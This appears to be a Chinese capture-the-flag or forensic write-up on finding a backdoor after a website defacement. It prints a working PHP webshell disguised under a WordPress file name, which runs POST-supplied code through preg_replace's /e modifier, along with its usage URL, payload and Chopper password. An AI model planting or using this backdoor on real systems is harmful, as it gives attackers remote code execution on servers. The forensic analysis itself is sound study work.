审查代码
1、先找到黑页所在目录,观察同层级的其他文件命名和修改时间,选中可疑文件审计代码
2、没有新的发现,就去目录查找,根据最后的修改时间排查。
C:\Users\BayernChenTutu\Desktop\www_bak\fields\class-wp-rest-comment-meta-style.php
<?php
error_reporting(0);
$e = $_REQUEST['e'];
$arr = array($_POST['joker'] => '|.*|e',);
array_walk($arr, $e, '');
?>
用法: http://www.xxx.com/8.php?e=preg_replace
浏览器提交POST:joker=phpinfo();
菜刀连接用法: http://www.xxx.com/8.php?e=preg_replace
密码:joker
详解:这个后门可以在php5.3下使用,array_walk()函数对数组中的每个元素应用用户自定义函数。在函数中,数组的键名和键值是参数。至于我们为什幺要传一个preg_replace进去
preg_replace函数原型:mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
特别说明: /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
意思是pattern也就是匹配模式出现/e修正符,后面的replacement就会被当作php代码执行,这样的话我们直接把 ($_POST['joker']) 这个小马运行,所以直接用菜刀链接即可
与之有相似功能的函数还有 : mb_ereg_replace() ,preg_filter()
拿到key